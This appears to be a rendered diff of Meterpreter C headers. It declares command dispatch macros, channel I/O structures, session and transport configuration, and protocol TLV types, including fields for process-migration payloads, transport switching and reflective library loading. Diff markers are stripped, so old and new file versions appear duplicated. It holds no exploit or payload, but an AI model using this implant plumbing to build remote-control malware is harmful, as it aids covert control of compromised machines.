typedef DWORD(*DISPATCH_ROUTINE)(Remote *remote, Packet *packet);
typedef BOOL(*INLINE_DISPATCH_ROUTINE)(Remote *remote, Packet *packet, DWORD* result);
/*! @brief Specifies the maximum number of arguments that are checked/handled
* in a request/response packet dispatcher.
*/
#define MAX_CHECKED_ARGUMENTS 16
/*! @brief Flag indicating that the command arguments repeat. */
#define ARGUMENT_FLAG_REPEAT (1 << 28)
/*! @brief Mask indicating the range numbers allowed for command arguments. */
#define ARGUMENT_FLAG_MASK 0x0fffffff
/*! @brief Helper macro that contains the required NULL initialisations for a command handler TLV info. */
#define EMPTY_TLV { 0 }, 0
/*! @brief Helper macro which defines an empty dispatch handler. */
#define EMPTY_DISPATCH_HANDLER NULL, NULL, EMPTY_TLV
/*! @brief Helper macro that defines terminator for command lists. */
#define COMMAND_TERMINATOR { NULL, { EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER } }
/*!
* @brief Helper macro that defines a command instance with a request handler only.
* @remarks The request handler will be executed on a separate thread.
*/
#define COMMAND_REQ(name, reqHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
/*!
* @brief Helper macro that defines a command instance with a response handler only.
* @remarks The request handler will be executed on a separate thread.
*/
#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, NULL, EMPTY_TLV } }
/*!
* @brief Helper macro that defines a command instance with both a request and response handler.
* @remarks The request handler will be executed on a separate thread.
*/
#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { repHandler, NULL, EMPTY_TLV } }
/*!
* @brief Helper macro that defines a command instance with an inline request handler only.
* @remarks The request handler will be executed on the server thread.
*/
#define COMMAND_INLINE_REQ(name, reqHandler) { name, { NULL, reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
/*!
* @brief Helper macro that defines a command instance with an inline response handler only.
* @remarks The response handler will be executed on the server thread.
*/
#define COMMAND_INLINE_REP(name, reqHandler) { name, { EMPTY_DISPATCH_HANDLER }, { NULL, reqHandler, EMPTY_TLV } }
// Place holders
/*! @deprecated This entity is not used and may be removed in future. */
#define EXPORT_TABLE_BEGIN()
/*! @deprecated This entity is not used and may be removed in future. */
#define EXPORT_TABLE_END()
/*!
* @brief Defines a command handler for requests and responses.
*/
typedef struct
{
/*! @brief Pointer to the routine that will be called to handle the request/response. */
DISPATCH_ROUTINE handler;
/*!
* @brief Pointer to the routine that will be called on the _current thread_.
* @remark If this function is specified then it will be invoked on the current server
* thread rather than having a new thread allocated to it for processing.
* The result of this routine will indicate whether the server should continue.
* If this value is specified (ie. non-NULL) then the \c handler value is ignored.
*/
INLINE_DISPATCH_ROUTINE inline_handler;
/*! @brief Array of types that match the expected arguments for this response/request routine. */
TlvMetaType argumentTypes[MAX_CHECKED_ARGUMENTS];
/*! @brief The number of entries in the \c argumentTypes array. */
DWORD numArgumentTypes;
} PacketDispatcher;
/*!
* @brief Container for a command definition.
*/
typedef struct command
{
LPCSTR method; ///< Identifier for the command.
PacketDispatcher request; ///< Defines the request handler.
PacketDispatcher response; ///< Defines the response handler.
// Internal -- not stored
struct command *next; ///< Pointer to the next command in the command list.
struct command *prev; ///< Pointer to the previous command in the command list.
} Command;
LINKAGE void command_register_all(Command commands[]);
LINKAGE void command_deregister_all(Command commands[]);
LINKAGE DWORD command_register(Command *command);
LINKAGE DWORD command_deregister(Command *command);
LINKAGE VOID command_join_threads( VOID );
LINKAGE BOOL command_handle( Remote *remote, Packet *packet );
#endif
/*!
* @file common_base.h
* @brief Declarations of macros and types that apply to almost any Meterpreter component.
*/
#ifndef _METERPRETER_COMMON_BASE_H
#define _METERPRETER_COMMON_BASE_H
#include "common_core.h"
/*! @brief Function pointer type that defines the interface for a dispatch handler. */
typedef DWORD(*DISPATCH_ROUTINE)(Remote *remote, Packet *packet);
typedef BOOL(*INLINE_DISPATCH_ROUTINE)(Remote *remote, Packet *packet, DWORD* result);
/*! @brief Specifies the maximum number of arguments that are checked/handled
* in a request/response packet dispatcher.
*/
#define MAX_CHECKED_ARGUMENTS 16
/*! @brief Flag indicating that the command arguments repeat. */
#define ARGUMENT_FLAG_REPEAT (1 << 28)
/*! @brief Mask indicating the range numbers allowed for command arguments. */
#define ARGUMENT_FLAG_MASK 0x0fffffff
/*! @brief Helper macro that contains the required NULL initialisations for a command handler TLV info. */
#define EMPTY_TLV { 0 }, 0
/*! @brief Helper macro which defines an empty dispatch handler. */
#define EMPTY_DISPATCH_HANDLER NULL, NULL, EMPTY_TLV
/*! @brief Helper macro that defines terminator for command lists. */
#define COMMAND_TERMINATOR { NULL, { EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER } }
/*!
* @brief Helper macro that defines a command instance with a request handler only.
* @remarks The request handler will be executed on a separate thread.
*/
#define COMMAND_REQ(name, reqHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
/*!
* @brief Helper macro that defines a command instance with a response handler only.
* @remarks The request handler will be executed on a separate thread.
*/
#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, NULL, EMPTY_TLV } }
/*!
* @brief Helper macro that defines a command instance with both a request and response handler.
* @remarks The request handler will be executed on a separate thread.
*/
#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { repHandler, NULL, EMPTY_TLV } }
/*!
* @brief Helper macro that defines a command instance with an inline request handler only.
* @remarks The request handler will be executed on the server thread.
*/
#define COMMAND_INLINE_REQ(name, reqHandler) { name, { NULL, reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
/*!
* @brief Helper macro that defines a command instance with an inline response handler only.
* @remarks The response handler will be executed on the server thread.
*/
#define COMMAND_INLINE_REP(name, reqHandler) { name, { EMPTY_DISPATCH_HANDLER }, { NULL, reqHandler, EMPTY_TLV } }
/*!
* @brief Defines a command handler for requests and responses.
*/
typedef struct
{
/*! @brief Pointer to the routine that will be called to handle the request/response. */
DISPATCH_ROUTINE handler;
/*!
* @brief Pointer to the routine that will be called on the _current thread_.
* @remark If this function is specified then it will be invoked on the current server
* thread rather than having a new thread allocated to it for processing.
* The result of this routine will indicate whether the server should continue.
* If this value is specified (ie. non-NULL) then the \c handler value is ignored.
*/
INLINE_DISPATCH_ROUTINE inline_handler;
/*! @brief Array of types that match the expected arguments for this response/request routine. */
TlvMetaType argumentTypes[MAX_CHECKED_ARGUMENTS];
/*! @brief The number of entries in the \c argumentTypes array. */
DWORD numArgumentTypes;
} PacketDispatcher;
/*!
* @brief Container for a command definition.
*/
typedef struct command
{
LPCSTR method; ///< Identifier for the command.
PacketDispatcher request; ///< Defines the request handler.
PacketDispatcher response; ///< Defines the response handler.
// Internal -- not stored
struct command *next; ///< Pointer to the next command in the command list.
struct command *prev; ///< Pointer to the previous command in the command list.
} Command;
#endif

View File

@ -1,217 +1,146 @@
#ifndef _METERPRETER_LIB_CHANNEL_H
#define _METERPRETER_LIB_CHANNEL_H
#include "linkage.h"
#include "remote.h"
struct _Channel;
struct _ChannelBuffer;
// Direct I/O operation modes (read/write/close)
typedef enum
{
CHANNEL_DIO_MODE_OPEN = 0,
CHANNEL_DIO_MODE_READ = 1,
CHANNEL_DIO_MODE_WRITE = 2,
CHANNEL_DIO_MODE_CLOSE = 3,
CHANNEL_DIO_MODE_INTERACT = 3,
} ChannelDioMode;
// Direct I/O handler -- used in place of internal buffering for channels
// that can do event based forwarding of buffers.
typedef DWORD (*DirectIoHandler)(struct _Channel *channel,
struct _ChannelBuffer *buffer, LPVOID context, ChannelDioMode mode,
PUCHAR chunk, ULONG length, PULONG bytesXfered);
// Asynchronous completion routines -- used with channel_open, channel_read,
// etc.
typedef DWORD (*ChannelOpenCompletionRoutine)(Remote *remote,
struct _Channel *channel, LPVOID context, DWORD result);
typedef DWORD (*ChannelReadCompletionRoutine)(Remote *remote,
struct _Channel *channel, LPVOID context, DWORD result, PUCHAR buffer,
ULONG bytesRead);
typedef DWORD (*ChannelWriteCompletionRoutine)(Remote *remote,
struct _Channel *channel, LPVOID context, DWORD result,
ULONG bytesWritten);
typedef DWORD (*ChannelCloseCompletionRoutine)(Remote *remote,
struct _Channel *channel, LPVOID context, DWORD result);
typedef DWORD (*ChannelInteractCompletionRoutine)(Remote *remote,
struct _Channel *channel, LPVOID context, DWORD result);
// Completion routine wrapper context
typedef struct _ChannelCompletionRoutine
{
LPVOID context;
struct
{
ChannelOpenCompletionRoutine open;
ChannelReadCompletionRoutine read;
ChannelWriteCompletionRoutine write;
ChannelCloseCompletionRoutine close;
ChannelInteractCompletionRoutine interact;
} routine;
} ChannelCompletionRoutine;
// Logical channel buffer used to queue or for event based updating
typedef struct _ChannelBuffer
{
PUCHAR buffer;
ULONG currentSize;
ULONG totalSize;
// IO handler -- default is internal queuing
DirectIoHandler dio;
LPVOID dioContext;
} ChannelBuffer;
// Channel operations that are used by any channel
typedef struct _NativeChannelOps
{
LPVOID context;
DWORD (*write)(struct _Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize,
LPDWORD bytesWritten);
DWORD (*close)(struct _Channel *channel, Packet *request,
LPVOID context);
DWORD (*interact)(struct _Channel *channel, Packet *request,
LPVOID context, BOOLEAN interact);
} NativeChannelOps;
// Channel operations for a stream-based channel
typedef struct _StreamChannelOps
{
NativeChannelOps native;
} StreamChannelOps;
// Channel operations for a datagram-based channel
typedef struct _DatagramChannelOps
{
NativeChannelOps native;
} DatagramChannelOps;
// Channel operations for a pool-based channel
typedef struct _PoolChannelOps
{
NativeChannelOps native;
DWORD (*read)(struct _Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize,
LPDWORD bytesRead);
DWORD (*eof)(struct _Channel *channel, Packet *request,
LPVOID context, LPBOOL isEof);
DWORD (*seek)(struct _Channel *channel, Packet *request,
LPVOID context, LONG offset, DWORD whence);
DWORD (*tell)(struct _Channel *channel, Packet *request,
LPVOID context, LPLONG offset);
} PoolChannelOps;
/*
* Values for the 'cls' attribute
*/
#define CHANNEL_CLASS_BUFFERED 0
#define CHANNEL_CLASS_STREAM 1
#define CHANNEL_CLASS_DATAGRAM 2
#define CHANNEL_CLASS_POOL 3
typedef struct _Channel
{
// The channel's identifier
DWORD identifier;
// The channel's class
DWORD cls;
// The type of channel, NULL for default.
PCHAR type;
// Flag for whether or not the channel is currently interactive
BOOL interactive;
// Operational flags
ULONG flags;
// Lock for synchronizing communication to a channel
LOCK * lock;
// The buffered output buffer (as in being outputted bufferedly)
union
{
ChannelBuffer buffered;
StreamChannelOps stream;
DatagramChannelOps datagram;
PoolChannelOps pool;
} ops;
// Internal attributes for list
struct _Channel *prev;
struct _Channel *next;
} Channel;
#define CHANNEL_CHUNK_SIZE 4096
/*
* Channel manipulation
*/
LINKAGE Channel *channel_create(DWORD identifier, DWORD flags);
LINKAGE Channel *channel_create_stream(DWORD identifier,
DWORD flags, StreamChannelOps *ops);
LINKAGE Channel *channel_create_datagram(DWORD identifier,
DWORD flags, DatagramChannelOps *ops);
LINKAGE Channel *channel_create_pool(DWORD identifier,
DWORD flags, PoolChannelOps *ops);
LINKAGE VOID channel_destroy(Channel *channel, Packet *request);
LINKAGE DWORD channel_get_id(Channel *channel);
LINKAGE VOID channel_set_type(Channel *channel, PCHAR type);
LINKAGE PCHAR channel_get_type(Channel *channel);
LINKAGE DWORD channel_get_class(Channel *channel);
LINKAGE VOID channel_set_flags(Channel *channel, ULONG flags);
LINKAGE BOOLEAN channel_is_flag(Channel *channel, ULONG flag);
LINKAGE ULONG channel_get_flags(Channel *channel);
LINKAGE VOID channel_set_interactive(Channel *channel, BOOL interactive);
LINKAGE BOOL channel_is_interactive(Channel *channel);
LINKAGE DWORD channel_write_to_remote(Remote *remote, Channel *channel,
PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten);
LINKAGE DWORD channel_write_to_buffered(Channel *channel, PUCHAR chunk,
ULONG chunkLength, PULONG bytesWritten);
LINKAGE DWORD channel_read_from_buffered(Channel *channel, PUCHAR chunk,
ULONG chunkLength, PULONG bytesRead);
LINKAGE VOID channel_set_buffered_io_handler(Channel *channel, LPVOID dioContext,
DirectIoHandler dio);
LINKAGE PVOID channel_get_buffered_io_context(Channel *channel);
LINKAGE VOID channel_set_native_io_context(Channel *channel, LPVOID context);
LINKAGE LPVOID channel_get_native_io_context(Channel *channel);
LINKAGE DWORD channel_default_io_handler(Channel *channel,
ChannelBuffer *buffer, LPVOID context, ChannelDioMode mode,
PUCHAR chunk, ULONG length, PULONG bytesXfered);
/*
* Remote channel API, used for communication with remotes
*
* Each of these routines accepts a completion routine that allows for custom
* handling of the response.
*/
LINKAGE DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength,
ChannelCompletionRoutine *completionRoutine);
LINKAGE DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend,
DWORD addendLength, ULONG length,
ChannelCompletionRoutine *completionRoutine);
LINKAGE DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend,
DWORD addendLength, PUCHAR buffer, ULONG length,
ChannelCompletionRoutine *completionRoutine);
LINKAGE DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend,
DWORD addendLength, ChannelCompletionRoutine *completionRoutine);
LINKAGE DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend,
DWORD addendLength, BOOL enable,
ChannelCompletionRoutine *completionRoutine);
/*
* Channel searching
*/
LINKAGE Channel *channel_find_by_id(DWORD id);
LINKAGE BOOL channel_exists(Channel *channel);
#endif
#ifndef _METERPRETER_COMMON_CHANNEL_H
#define _METERPRETER_COMMON_CHANNEL_H
#include "common_remote.h"
struct _Channel;
struct _ChannelBuffer;
// Direct I/O operation modes (read/write/close)
typedef enum
{
CHANNEL_DIO_MODE_OPEN = 0,
CHANNEL_DIO_MODE_READ = 1,
CHANNEL_DIO_MODE_WRITE = 2,
CHANNEL_DIO_MODE_CLOSE = 3,
CHANNEL_DIO_MODE_INTERACT = 3,
} ChannelDioMode;
// Direct I/O handler -- used in place of internal buffering for channels
// that can do event based forwarding of buffers.
typedef DWORD (*DirectIoHandler)(struct _Channel *channel,
struct _ChannelBuffer *buffer, LPVOID context, ChannelDioMode mode,
PUCHAR chunk, ULONG length, PULONG bytesXfered);
// Asynchronous completion routines -- used with channel_open, channel_read,
// etc.
typedef DWORD (*ChannelOpenCompletionRoutine)(Remote *remote,
struct _Channel *channel, LPVOID context, DWORD result);
typedef DWORD (*ChannelReadCompletionRoutine)(Remote *remote,
struct _Channel *channel, LPVOID context, DWORD result, PUCHAR buffer,
ULONG bytesRead);
typedef DWORD (*ChannelWriteCompletionRoutine)(Remote *remote,
struct _Channel *channel, LPVOID context, DWORD result,
ULONG bytesWritten);
typedef DWORD (*ChannelCloseCompletionRoutine)(Remote *remote,
struct _Channel *channel, LPVOID context, DWORD result);
typedef DWORD (*ChannelInteractCompletionRoutine)(Remote *remote,
struct _Channel *channel, LPVOID context, DWORD result);
// Completion routine wrapper context
typedef struct _ChannelCompletionRoutine
{
LPVOID context;
struct
{
ChannelOpenCompletionRoutine open;
ChannelReadCompletionRoutine read;
ChannelWriteCompletionRoutine write;
ChannelCloseCompletionRoutine close;
ChannelInteractCompletionRoutine interact;
} routine;
} ChannelCompletionRoutine;
// Logical channel buffer used to queue or for event based updating
typedef struct _ChannelBuffer
{
PUCHAR buffer;
ULONG currentSize;
ULONG totalSize;
// IO handler -- default is internal queuing
DirectIoHandler dio;
LPVOID dioContext;
} ChannelBuffer;
// Channel operations that are used by any channel
typedef struct _NativeChannelOps
{
LPVOID context;
DWORD (*write)(struct _Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize,
LPDWORD bytesWritten);
DWORD (*close)(struct _Channel *channel, Packet *request,
LPVOID context);
DWORD (*interact)(struct _Channel *channel, Packet *request,
LPVOID context, BOOLEAN interact);
} NativeChannelOps;
// Channel operations for a stream-based channel
typedef struct _StreamChannelOps
{
NativeChannelOps native;
} StreamChannelOps;
// Channel operations for a datagram-based channel
typedef struct _DatagramChannelOps
{
NativeChannelOps native;
} DatagramChannelOps;
// Channel operations for a pool-based channel
typedef struct _PoolChannelOps
{
NativeChannelOps native;
DWORD (*read)(struct _Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize,
LPDWORD bytesRead);
DWORD (*eof)(struct _Channel *channel, Packet *request,
LPVOID context, LPBOOL isEof);
DWORD (*seek)(struct _Channel *channel, Packet *request,
LPVOID context, LONG offset, DWORD whence);
DWORD (*tell)(struct _Channel *channel, Packet *request,
LPVOID context, LPLONG offset);
} PoolChannelOps;
/*
* Values for the 'cls' attribute
*/
#define CHANNEL_CLASS_BUFFERED 0
#define CHANNEL_CLASS_STREAM 1
#define CHANNEL_CLASS_DATAGRAM 2
#define CHANNEL_CLASS_POOL 3
typedef struct _Channel
{
// The channel's identifier
DWORD identifier;
// The channel's class
DWORD cls;
// The type of channel, NULL for default.
PCHAR type;
// Flag for whether or not the channel is currently interactive
BOOL interactive;
// Operational flags
ULONG flags;
// Lock for synchronizing communication to a channel
LOCK * lock;
// The buffered output buffer (as in being outputted bufferedly)
union
{
ChannelBuffer buffered;
StreamChannelOps stream;
DatagramChannelOps datagram;
PoolChannelOps pool;
} ops;
// Internal attributes for list
struct _Channel *prev;
struct _Channel *next;
} Channel;
#define CHANNEL_CHUNK_SIZE 4096
#endif

View File

@ -2,14 +2,14 @@
* @file config.h
* @brief Declarations of functions and types that define endpoint and transport configurations.
*/
#ifndef _METERPRETER_LIB_CONFIG_H
#define _METERPRETER_LIB_CONFIG_H
#ifndef _METERPRETER_COMMON_CONFIG_H
#define _METERPRETER_COMMON_CONFIG_H
/*! @brief This is the size of the certificate hash that is validated (sha1) */
#define CERT_HASH_SIZE 20
#define URL_SIZE 512
#define UA_SIZE 256
#define UUID_SIZE 16
#define UUID_SIZE 16
#define PROXY_HOST_SIZE 128
#define PROXY_USER_SIZE 64
#define PROXY_PASS_SIZE 64
@ -24,14 +24,14 @@ typedef CHARTYPE const * CSTRTYPE;
typedef struct _MetsrvSession
{
union
{
UINT_PTR handle;
BYTE padding[8];
union
{
UINT_PTR handle;
BYTE padding[8];
} comms_handle; ///! Socket/handle for communications (if there is one).
DWORD exit_func; ///! Exit func identifier for when the session ends.
int expiry; ///! The total number of seconds to wait before killing off the session.
BYTE uuid[UUID_SIZE]; ///! UUID
BYTE uuid[UUID_SIZE]; ///! UUID
BYTE session_guid[sizeof(GUID)]; ///! Current session GUID
} MetsrvSession;
@ -59,11 +59,11 @@ typedef struct _MetsrvTransportHttp
CHARTYPE custom_headers[1]; ///! Custom headers to add to outbound requests (arb length, NULL terminated).
} MetsrvTransportHttp;
typedef struct _MetsrvTransportTcp
{
MetsrvTransportCommon common;
} MetsrvTransportTcp;
typedef struct _MetsrvTransportTcp
{
MetsrvTransportCommon common;
} MetsrvTransportTcp;
typedef struct _MetsrvTransportNamedPipe
{
MetsrvTransportCommon common;
@ -81,7 +81,7 @@ typedef struct _MetsrvConfig
MetsrvTransportCommon transports[1]; ///! Placeholder for 0 or more transports
// Extensions will appear after this
// After extensions, we get a list of extension initialisers
// <name of extension>\x00<datasize><data>
// <name of extension>\x00<datasize><data>
// <name of extension>\x00<datasize><data>
// \x00
} MetsrvConfig;

View File

@ -1,306 +1,246 @@
/*!
* @file core.h
* @brief Declarations of core components of the Meterpreter suite.
* @details Much of what exists in the core files is used in almost every area
* of the Meterpreter code base, and hence it's very important. Don't
* change this stuff unless you know what you're doing!
*/
#ifndef _METERPRETER_CORE_H
#define _METERPRETER_CORE_H
#include "linkage.h"
#include "remote.h"
#include "list.h"
/*!
* @brief Creates a new TLV value based on `actual` and `meta` values.
*/
#define TLV_VALUE(meta, actual) actual | meta
/*!
* @brief Creates a new custom TVL type.
*/
#define MAKE_CUSTOM_TLV(meta, base, actual) (TlvType)((base + actual) | meta)
/*!
* @brief Enumeration of allowed Packet TLV types.
*/
typedef enum
{
PACKET_TLV_TYPE_REQUEST = 0, ///< Indicates a request packet.
PACKET_TLV_TYPE_RESPONSE = 1, ///< Indicates a response packet.
PACKET_TLV_TYPE_PLAIN_REQUEST = 10, ///< Indicates a plain request packet.
PACKET_TLV_TYPE_PLAIN_RESPONSE = 11, ///< Indicates a plain response packet.
} PacketTlvType;
/*! @brief Meta TLV argument type representing a null value. */
#define TLV_META_TYPE_NONE (0 << 0)
/*! @brief Meta TLV argument type representing a string value. */
#define TLV_META_TYPE_STRING (1 << 16)
/*! @brief Meta TLV argument type representing a unsigned integer value. */
#define TLV_META_TYPE_UINT (1 << 17)
/*! @brief Meta TLV argument type representing a raw data value. */
#define TLV_META_TYPE_RAW (1 << 18)
/*! @brief Meta TLV argument type representing a boolean value. */
#define TLV_META_TYPE_BOOL (1 << 19)
/*! @brief Meta TLV argument type representing a quad-word value. */
#define TLV_META_TYPE_QWORD (1 << 20)
/*! @brief Meta TLV argument type representing a compressed data value. */
#define TLV_META_TYPE_COMPRESSED (1 << 29)
/*! @brief Meta TLV argument type representing a group value. */
#define TLV_META_TYPE_GROUP (1 << 30)
/*! @brief Meta TLV argument type representing a nested/complex value. */
#define TLV_META_TYPE_COMPLEX (1 << 31)
/*! @brief Meta TLV argument type representing a flag set/mask value. */
#define TLV_META_TYPE_MASK(x) ((x) & 0xffff0000)
/*! @brief Base value for reserved TLV definitions. */
#define TLV_RESERVED 0
/*! @brief Base value for TLV definitions that are part of extensions. */
#define TLV_EXTENSIONS 20000
/*! @brief Base value for user TLV definitions. */
#define TLV_USER 40000
/*! @brief Base value for temporary TLV definitions. */
#define TLV_TEMP 60000
/*!
* @brief Indicates that the library in question should be stored on disk.
* @detail Some libraries can be written to disk and other libraries can't. The use of
* this flag will indicate that the library should not be written to disk and
* instead should be loaded reflectively.
*/
#define LOAD_LIBRARY_FLAG_ON_DISK (1 << 0)
/*!
* @brief Indicates that the library in question is an extension library.
* @detail Extension libraries have \c InitServerExtension and \c DeinitServerExtension
* functions which need to be invoked. This flag indicates that the library has
* these functions and that they should be called appropriately.
*/
#define LOAD_LIBRARY_FLAG_EXTENSION (1 << 1)
/*!
* @brief Indicates that the library in question is a library that exists locally.
* @detail Libraries can already exist on the target machine. This flag indicates that
* the library doesn't need to be uploaded, it just needs to be invoked directly
* on the local machine.
*/
#define LOAD_LIBRARY_FLAG_LOCAL (1 << 2)
/*! @brief An indication of whether the challen is synchronous or asynchronous. */
#define CHANNEL_FLAG_SYNCHRONOUS (1 << 0)
/*! @brief An indication of whether the content written to the channel should be compressed. */
#define CHANNEL_FLAG_COMPRESS (1 << 1)
/*! @brief Type definition with defines `TlvMetaType` as an double-word. */
typedef DWORD TlvMetaType;
/*!
* @brief Full list of recognised TLV types.
*/
typedef enum
{
TLV_TYPE_ANY = TLV_VALUE(TLV_META_TYPE_NONE, 0), ///! Represents an undefined/arbitrary value.
TLV_TYPE_METHOD = TLV_VALUE(TLV_META_TYPE_STRING, 1), ///! Represents a method/function name value.
TLV_TYPE_REQUEST_ID = TLV_VALUE(TLV_META_TYPE_STRING, 2), ///! Represents a request identifier value.
TLV_TYPE_EXCEPTION = TLV_VALUE(TLV_META_TYPE_GROUP, 3), ///! Represents an exception value.
TLV_TYPE_RESULT = TLV_VALUE(TLV_META_TYPE_UINT, 4), ///! Represents a result value.
// Argument basic types
TLV_TYPE_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 10), ///! Represents a string value.
TLV_TYPE_UINT = TLV_VALUE(TLV_META_TYPE_UINT, 11), ///! Represents an unsigned integer value.
TLV_TYPE_BOOL = TLV_VALUE(TLV_META_TYPE_BOOL, 12), ///! Represents a boolean value.
// Extended types
TLV_TYPE_LENGTH = TLV_VALUE(TLV_META_TYPE_UINT, 25), ///! Represents a length (unsigned integer).
TLV_TYPE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 26), ///! Represents arbitrary data (raw).
TLV_TYPE_FLAGS = TLV_VALUE(TLV_META_TYPE_UINT, 27), ///! Represents a set of flags (unsigned integer).
// Channel types
TLV_TYPE_CHANNEL_ID = TLV_VALUE(TLV_META_TYPE_UINT, 50), ///! Represents a channel identifier (unsigned integer).
TLV_TYPE_CHANNEL_TYPE = TLV_VALUE(TLV_META_TYPE_STRING, 51), ///! Represents a channel type (string).
TLV_TYPE_CHANNEL_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 52), ///! Represents channel data (raw).
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 53), ///! Represents a channel data group (group).
TLV_TYPE_CHANNEL_CLASS = TLV_VALUE(TLV_META_TYPE_UINT, 54), ///! Represents a channel class (unsigned integer).
TLV_TYPE_CHANNEL_PARENTID = TLV_VALUE(TLV_META_TYPE_UINT, 55), ///! Represents a channel parent identifier (unsigned integer).
// Channel extended types
TLV_TYPE_SEEK_WHENCE = TLV_VALUE(TLV_META_TYPE_UINT, 70),
TLV_TYPE_SEEK_OFFSET = TLV_VALUE(TLV_META_TYPE_UINT, 71),
TLV_TYPE_SEEK_POS = TLV_VALUE(TLV_META_TYPE_UINT, 72),
// Grouped identifiers
TLV_TYPE_EXCEPTION_CODE = TLV_VALUE(TLV_META_TYPE_UINT, 300), ///! Represents an exception code value (unsigned in).
TLV_TYPE_EXCEPTION_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 301), ///! Represents an exception message value (string).
// Library loading
TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string).
TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string).
TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer).
TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer).
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string).
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture.
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int).
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int).
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int).
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string)
TLV_TYPE_MIGRATE_STUB_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 410), ///! Represents a migration stub length (uint).
TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_STRING, 411), ///! Represents a migration stub (string).
// Transport switching
TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to.
TLV_TYPE_TRANS_URL = TLV_VALUE(TLV_META_TYPE_STRING, 431), ///! Represents the new URL of the transport to use.
TLV_TYPE_TRANS_UA = TLV_VALUE(TLV_META_TYPE_STRING, 432), ///! Represents the user agent (for http).
TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_VALUE(TLV_META_TYPE_UINT, 433), ///! Represents the communications timeout.
TLV_TYPE_TRANS_SESSION_EXP = TLV_VALUE(TLV_META_TYPE_UINT, 434), ///! Represents the session expiration.
TLV_TYPE_TRANS_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 435), ///! Represents the certificate hash (for https).
TLV_TYPE_TRANS_PROXY_HOST = TLV_VALUE(TLV_META_TYPE_STRING, 436), ///! Represents the proxy host string (for http/s).
TLV_TYPE_TRANS_PROXY_USER = TLV_VALUE(TLV_META_TYPE_STRING, 437), ///! Represents the proxy user name (for http/s).
TLV_TYPE_TRANS_PROXY_PASS = TLV_VALUE(TLV_META_TYPE_STRING, 438), ///! Represents the proxy password (for http/s).
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_VALUE(TLV_META_TYPE_UINT, 439), ///! Total time (seconds) to continue retrying comms.
TLV_TYPE_TRANS_RETRY_WAIT = TLV_VALUE(TLV_META_TYPE_UINT, 440), ///! Time (seconds) to wait between reconnect attempts.
TLV_TYPE_TRANS_HEADERS = TLV_VALUE(TLV_META_TYPE_STRING, 441), ///! List of custom headers to send with the requests.
TLV_TYPE_TRANS_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 442), ///! A single transport grouping.
// session/machine identification
TLV_TYPE_MACHINE_ID = TLV_VALUE(TLV_META_TYPE_STRING, 460), ///! Represents a machine identifier.
TLV_TYPE_UUID = TLV_VALUE(TLV_META_TYPE_RAW, 461), ///! Represents a UUID.
TLV_TYPE_SESSION_GUID = TLV_VALUE(TLV_META_TYPE_RAW, 462), ///! Represents a Session GUID.
// Packet encryption
TLV_TYPE_RSA_PUB_KEY = TLV_VALUE(TLV_META_TYPE_STRING, 550), ///! Represents PEM-formatter RSA public key
TLV_TYPE_SYM_KEY_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 551), ///! Represents the type of symmetric key
TLV_TYPE_SYM_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 552), ///! Represents the symmetric key
